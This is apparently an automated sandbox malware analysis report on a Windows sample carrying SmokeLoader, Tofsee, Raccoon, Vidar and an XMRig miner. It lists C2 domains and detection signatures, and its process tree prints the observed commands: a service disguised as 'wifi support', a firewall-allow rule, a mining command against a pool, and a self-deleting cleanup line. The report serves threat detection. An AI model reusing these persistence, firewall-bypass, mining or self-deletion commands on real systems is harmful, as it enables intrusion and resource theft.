Analysis

  • max time kernel
    117s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    11/01/2022, 22:08

General

  • Target
    7e189578056cd9a7e3e24c5de9218e9d.exe
  • Size 273KB
  • Sample220111-1192pshhcm
  • SHA256 32fb69d349b6093fddc2e82cdb63d7136ee91f2d5ddc13519a63377bacac62d1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • patmushta.info

  • parubey.info

Extracted

Family
  • raccoon

Version
  • 1.8.4-hotfixs

rc4.plain

Extracted

Family
  • vidar

Version
  • 49.6

Botnet
  • 1125

C2
  • https://noc.social/@banda5ker

  • https://mastodon.social/@banda6ker

Attributes
  • profile_id

    1125

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

    suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01

  • suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

    suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer HTTP POST Pattern

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Vidar Stealer 3 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 14 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe
    "C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe
      "C:\Users\Admin\AppData\Local\Temp\7e189578056cd9a7e3e24c5de9218e9d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1840
  • C:\Users\Admin\AppData\Local\Temp\85C3.exe
    C:\Users\Admin\AppData\Local\Temp\85C3.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1480
  • C:\Users\Admin\AppData\Local\Temp\9034.exe
    C:\Users\Admin\AppData\Local\Temp\9034.exe
    1⤵
    • Executes dropped EXE
    PID:1380
  • C:\Users\Admin\AppData\Local\Temp\9F80.exe
    C:\Users\Admin\AppData\Local\Temp\9F80.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1076
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oytszphd\
      2⤵
        PID:1644
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pgurekn.exe" C:\Windows\SysWOW64\oytszphd\
        2⤵
          PID:936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oytszphd binPath= "C:\Windows\SysWOW64\oytszphd\pgurekn.exe /d\"C:\Users\Admin\AppData\Local\Temp\9F80.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1700
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description oytszphd "wifi internet conection"
            2⤵
              PID:1488
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start oytszphd
              2⤵
                PID:1664
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:864
              • C:\Users\Admin\AppData\Local\Temp\B4B6.exe
                C:\Users\Admin\AppData\Local\Temp\B4B6.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:720
                • C:\Users\Admin\AppData\Local\Temp\B4B6.exe
                  C:\Users\Admin\AppData\Local\Temp\B4B6.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1692
              • C:\Windows\SysWOW64\oytszphd\pgurekn.exe
                C:\Windows\SysWOW64\oytszphd\pgurekn.exe /d"C:\Users\Admin\AppData\Local\Temp\9F80.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1636
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:720
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1748
              • C:\Users\Admin\AppData\Local\Temp\1FF7.exe
                C:\Users\Admin\AppData\Local\Temp\1FF7.exe
                1⤵
                • Executes dropped EXE
                PID:1684
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 404
                  2⤵
                  • Loads dropped DLL
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1140
              • C:\Users\Admin\AppData\Local\Temp\5204.exe
                C:\Users\Admin\AppData\Local\Temp\5204.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:308
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                  2⤵
                    PID:992
                • C:\Users\Admin\AppData\Local\Temp\584C.exe
                  C:\Users\Admin\AppData\Local\Temp\584C.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:1700
                • C:\Users\Admin\AppData\Local\Temp\65B5.exe
                  C:\Users\Admin\AppData\Local\Temp\65B5.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1392
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {D1D6661E-00E0-47BA-8B9C-B3D6413355F0} S-1-5-21-2329389628-4064185017-3901522362-1000:QSKGHMYQ\Admin:Interactive:[1]
                  1⤵
                    PID:920
                    • C:\Users\Admin\AppData\Roaming\besistv
                      C:\Users\Admin\AppData\Roaming\besistv
                      2⤵
                      • Executes dropped EXE
                      PID:272
                    • C:\Users\Admin\AppData\Roaming\adsistv
                      C:\Users\Admin\AppData\Roaming\adsistv
                      2⤵
                      • Executes dropped EXE
                      PID:1476
                  • C:\Users\Admin\AppData\Local\Temp\7530.exe
                    C:\Users\Admin\AppData\Local\Temp\7530.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    PID:1412
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c taskkill /im 7530.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7530.exe" & del C:\ProgramData\*.dll & exit
                      2⤵
                        PID:2304
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /im 7530.exe /f
                          3⤵
                          • Kills process with taskkill
                          PID:2332
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 6
                          3⤵
                          • Delays execution with timeout.exe
                          PID:2412
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:368
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:1220
                        • C:\Users\Admin\AppData\Local\Temp\92A0.exe
                          C:\Users\Admin\AppData\Local\Temp\92A0.exe
                          1⤵
                          • Executes dropped EXE
                          PID:1724

                        Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              memory/368-207-0x0000000000080000-0x00000000000EB000-memory.dmp

                              memory/368-206-0x00000000000F0000-0x0000000000164000-memory.dmp

                              memory/368-203-0x000000006D771000-0x000000006D773000-memory.dmp

                              memory/720-80-0x0000000000260000-0x0000000000261000-memory.dmp

                              memory/720-79-0x00000000049F0000-0x00000000049F1000-memory.dmp

                              memory/720-71-0x0000000001220000-0x00000000012AA000-memory.dmp

                              memory/720-112-0x0000000000080000-0x0000000000095000-memory.dmp

                              memory/720-111-0x0000000000080000-0x0000000000095000-memory.dmp

                              memory/720-70-0x0000000001220000-0x00000000012AA000-memory.dmp

                              memory/992-126-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/992-129-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/992-128-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/992-130-0x0000000000E60000-0x0000000000E61000-memory.dmp

                              memory/992-125-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/992-119-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1076-97-0x0000000000220000-0x000000000022D000-memory.dmp

                              memory/1076-99-0x0000000000400000-0x0000000000451000-memory.dmp

                              memory/1076-98-0x00000000002C0000-0x00000000002D3000-memory.dmp

                              memory/1128-58-0x00000000003A0000-0x00000000003A9000-memory.dmp

                              memory/1128-59-0x00000000003B0000-0x00000000003B9000-memory.dmp

                              memory/1140-214-0x0000000000340000-0x0000000000341000-memory.dmp

                              memory/1220-200-0x0000000000070000-0x0000000000077000-memory.dmp

                              memory/1220-201-0x0000000000060000-0x000000000006C000-memory.dmp

                              memory/1380-72-0x00000000003A0000-0x00000000003B1000-memory.dmp

                              memory/1380-73-0x00000000003C0000-0x00000000003DC000-memory.dmp

                              memory/1380-74-0x0000000000400000-0x0000000000455000-memory.dmp

                              memory/1392-156-0x0000000000320000-0x0000000000380000-memory.dmp

                              memory/1412-172-0x0000000000240000-0x0000000000242000-memory.dmp

                              memory/1412-170-0x00000000002E0000-0x0000000000325000-memory.dmp

                              memory/1412-216-0x00000000748D0000-0x00000000748DB000-memory.dmp

                              memory/1412-217-0x00000000748E0000-0x00000000748F7000-memory.dmp

                              memory/1412-177-0x0000000070240000-0x00000000703D0000-memory.dmp

                              memory/1412-176-0x0000000074BD0000-0x0000000074D2C000-memory.dmp

                              memory/1412-174-0x0000000076780000-0x000000007682C000-memory.dmp

                              memory/1412-173-0x0000000000400000-0x00000000005A8000-memory.dmp

                              memory/1412-183-0x00000000737E0000-0x00000000737F7000-memory.dmp

                              memory/1412-187-0x0000000074EF0000-0x0000000074EFC000-memory.dmp

                              memory/1412-181-0x0000000074D30000-0x0000000074D77000-memory.dmp

                              memory/1412-213-0x0000000071910000-0x0000000071968000-memory.dmp

                              memory/1412-215-0x000000006CDA0000-0x000000006CDBC000-memory.dmp

                              memory/1412-212-0x0000000071830000-0x000000007187F000-memory.dmp

                              memory/1412-211-0x0000000074F70000-0x0000000074FA5000-memory.dmp

                              memory/1412-210-0x0000000076660000-0x00000000766B7000-memory.dmp

                              memory/1412-169-0x0000000000400000-0x00000000005A8000-memory.dmp

                              memory/1412-189-0x0000000076070000-0x000000007618D000-memory.dmp

                              memory/1412-168-0x0000000000400000-0x00000000005A8000-memory.dmp

                              memory/1412-167-0x0000000000400000-0x00000000005A8000-memory.dmp

                              memory/1420-91-0x0000000004000000-0x0000000004016000-memory.dmp

                              memory/1420-60-0x00000000021E0000-0x00000000021F6000-memory.dmp

                              memory/1480-76-0x0000000000220000-0x0000000000229000-memory.dmp

                              memory/1480-77-0x00000000002B0000-0x00000000002B9000-memory.dmp

                              memory/1480-78-0x0000000000400000-0x0000000000452000-memory.dmp

                              memory/1636-115-0x0000000000400000-0x0000000000451000-memory.dmp

                              memory/1684-155-0x00000000002B0000-0x0000000000341000-memory.dmp

                              memory/1684-163-0x0000000000400000-0x0000000002BC5000-memory.dmp

                              memory/1684-152-0x0000000000220000-0x000000000026F000-memory.dmp

                              memory/1692-83-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1692-96-0x0000000000E80000-0x0000000000E81000-memory.dmp

                              memory/1692-82-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1692-84-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1692-85-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1692-86-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1692-89-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1692-90-0x0000000000400000-0x0000000000420000-memory.dmp

                              memory/1700-141-0x0000000074D30000-0x0000000074D77000-memory.dmp

                              memory/1700-135-0x00000000749E0000-0x0000000074A2A000-memory.dmp

                              memory/1700-139-0x0000000076780000-0x000000007682C000-memory.dmp

                              memory/1700-151-0x0000000074730000-0x00000000747B0000-memory.dmp

                              memory/1700-145-0x0000000000D90000-0x0000000000EB6000-memory.dmp

                              memory/1700-154-0x0000000004910000-0x0000000004911000-memory.dmp

                              memory/1700-142-0x0000000076660000-0x00000000766B7000-memory.dmp

                              memory/1700-147-0x00000000766C0000-0x000000007674F000-memory.dmp

                              memory/1700-144-0x0000000074BD0000-0x0000000074D2C000-memory.dmp

                              memory/1700-136-0x0000000000D90000-0x0000000000EB6000-memory.dmp

                              memory/1700-137-0x0000000000080000-0x0000000000081000-memory.dmp

                              memory/1700-146-0x0000000000D90000-0x0000000000EB6000-memory.dmp

                              memory/1700-140-0x00000000005F0000-0x0000000000635000-memory.dmp

                              memory/1748-178-0x00000000000E0000-0x00000000001D1000-memory.dmp

                              memory/1748-179-0x00000000000E0000-0x00000000001D1000-memory.dmp

                              memory/1840-57-0x0000000075421000-0x0000000075423000-memory.dmp

                              memory/1840-55-0x0000000000400000-0x0000000000409000-memory.dmp